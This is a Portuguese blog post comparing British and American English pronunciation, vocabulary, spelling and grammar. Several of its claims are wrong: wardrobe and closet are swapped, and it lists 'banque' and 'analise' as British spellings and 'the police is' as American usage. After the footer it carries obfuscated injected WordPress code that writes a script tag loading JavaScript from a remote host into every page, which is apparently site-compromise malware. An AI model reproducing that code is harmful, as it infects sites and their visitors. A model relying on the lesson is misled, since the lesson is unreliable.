O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

Quais são as principais diferenças entre o inglês britânico e o inglês americano?

Quais são as principais diferenças entre o inglês britânico e o inglês americano?

Neste texto, vamos estudar as diferenças entre inglês britânico e o americano. Como você sabe, o inglês britânico surgiu na Inglaterra e depois foi levado aos EUA na colonização, como já vimos, porém hoje a maioria dos falantes são não-nativos de inglês

Com todas as línguas, o inglês tem suas variações e as mais conhecidas são o inglês britânico e o americano. 

Uma coisa que você deve ter em mente é que para estudar as diferenças entre o inglês britânico e o americano você não pode deixar de considerar as diferenças que existem dentro de cada um desses países.

Portanto, não existe um inglês que seja homogêneo como muitas pessoas imaginam por aí. Quando falamos das diferenças entre o inglês britânico e o americano não podemos deixar de levar em conta que existem variações regionais que vão pesar muito principalmente na hora da pronúncia.

Os britânicos introduziram a língua inglesa nas Américas quando eles chegaram aqui por volta do século 16 e 17. Na época não existia padronização na ortografia e foi somente depois do século 18, que o inglês se estabilizou como a língua mais próxima do que é hoje.

As principais diferenças entre o inglês britânico e o americano em termos de escrita se devem ao dicionarista Noah Webster que mudou a ortografia da língua inglesa falada nos Estados Unidos para mostrar a independência cultural da colônia com relação à Metrópole 

Pronúncia

Vamos começar a estudar as diferenças entre o inglês britânico e o americano pela pronúncia. A pronúncia do inglês americano varia muito dentro dos Estados Unidos e também dentro da Inglaterra. 

No entanto, a principal diferença entre a pronúncia das duas regiões é até o “r”.  Na Inglaterra, na maior parte das regiões, o “r” tende a ser tocado pelo som do schwa que é o som mais comum do inglês e tem som de “â”. Portanto uma palavra como work fica “woâk”. 

Nos Estados Unidos, em alguns estados do sul como no Texas, a pronúncia se aproxima mais do inglês britânico porque eles estão bem tiram o “r” em algumas regiões.

Na Inglaterra, por outro lado, também existem lugares em que o “r” é pronunciado. Esse “r” é o mesmo da nossa palavra “arara”. Essa pronúncia é mais comum do interior do país e não das regiões mais ricas economicamente.

Essa diferença se deve ao fato de que quando os britânicos colonizaram a América eles também pronunciavam o “r”, porém com as mudanças que ocorreram no inglês britânico eles perderam “r” e os americanos o mantiveram.

Essas mudanças que ocorreram na Inglaterra com relação ao “r”, na realidade, representavam uma questão de classe. Como as classes mais ricas queriam diferenciar sua pronúncia das classes mais pobres, eles começaram a suavizar o “r”. 

Como é sempre a elite que dita a moda, o som do “r” começou a sumir porque os mais pobres começaram a imitar os mais ricos. E assim esse sotaque acabou se formando nas regiões mais ricas da Inglaterra onde você tinha uma presença maior da elite.

Vocabulário

O próximo passo para entender as diferenças entre inglês britânico e o americano é o vocabulário. O vocabulário do inglês britânico como vimos é uma mistura entre o francês e as línguas dos vikings, o old norse. No caso dos Estados Unidos, por causa da imigração existe uma grande influência do espanhol principalmente.

Vale lembrar também que o significado das palavras pode mudar entre as duas variantes. Por exemplo, a palavra gas significa “gasolina” e “gás” nos EUA, mas no inglês britânico ela só significa “gás” mesmo. Veja abaixo uma tabela com as principais mudanças de vocabulário entre o inglês britânico e o americano:

Inglês Americano      Inglês Britânico

Apartment                 Flat
University                  College
Diaper                       Nappy
Movie                         Film
Movie theater            Cinema
Wardrobe                  Closet
Pants                        Trouser
Zipper                        Zip
Sidewalk                   Pavement
Gas                           Gasoline
Subway                     Underground
Truck                         Lorry
Chips                        Crisps
Soda                         Fizzy drink
Soccer                      Football
Cookie                      Biscuit
Vacation                    Holiday

Ortografia

As mudanças de ortografia, como já mencionamos acima, se devem à Noah Webster, que mudou o inglês americano em diversos sentidos. Um erro comum é achar que a grafia de um país ou de outro está errada.

Às vezes, por exemplo, você escreve traveled e pensa que está errado, porém isso nada mais é do que a variante americana da palavra travelled. Portanto, veja abaixo as principais mudanças da ortografia entre essas duas línguas:

Terminação -se no americano que vira -ce no britânico: defense; defence
Terminação -er no americano que vira -re no britânico mantendo a mesma pronúncia: center; centre
-or no americano que é -our no britânico: color; colour
-k no americano que se torna -que: bank; banque
-yze, -ize, -yse no americano se torna -ise: analyze; analise; criticize; criticise; recognize; recognise
-ll nos Eua que se torna -l: enrollment; enrolment
-g no americano que se torna -gue: analog; analogue
Outras diferenças:

Americano            Britânico

Program               Programme
Pajamas               Pyjamas
Mom                      Mum
Mustache              Moustache
Tire                        Tyre
Whiskey                Whisky
Airplane                 Aeroplane
Specialty               Speciality

Gramática

Em termos de gramática, a principal diferença entre o inglês britânico e o americano está na concordância verbal e no uso do present perfect. Além, é claro, de que as duas línguas vão ter suas próprias expressões idiomáticas e seus próprios regionalismos.

Os britânicos tendem a utilizar o plural para nações, organizações e instituições os americanos não por exemplo:

Britânico: The police are going to investigate the case.
Americano: The police is going to investigate the case. 

Já quanto ao present perfect, os americanos tendem a neutralizá-lo e utilizar muito mais o past simple do que os britânicos. E o uso do present perfect com advérbios é muito mais comum no inglês britânico do que no americano. Veja alguns exemplos:

Britânicos: Have you ever been there?
Americano: Did you ever go there?

Britânico: I haven’t finished my homework yet.
Americano: I didn’t finish my homework yet.  

Alguns verbos regulares do inglês americano, se tornam irregulares no britânico, como burned, dreamed e learned que se tornam burnt, dreamt, learnt.

Essas foram as principais diferenças entre o inglês britânico e o americano. Lembre-se sempre de que estas diferenças estão relacionadas com a cultura e com a história de cada um desses países e que não existe uma variedade melhor, nem pior e muito menos mais correta do que a outra.

No geral é bom você se limitar a uma variante apenas, principalmente se você está interessado em fazer prova de proficiência. Escolha uma variante e estude com profundidade e se fixe nela, porém saber as diferenças entre as duas te ajuda bastante.

Ao fim, é sempre bom entender que a comunicação entre britânicos e americanos pode acontecer tranquilamente, sem grandes falhas, por isso, você não precisa ser muito exigente com você mesmo e tentar memorizar todas essas mudanças.

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>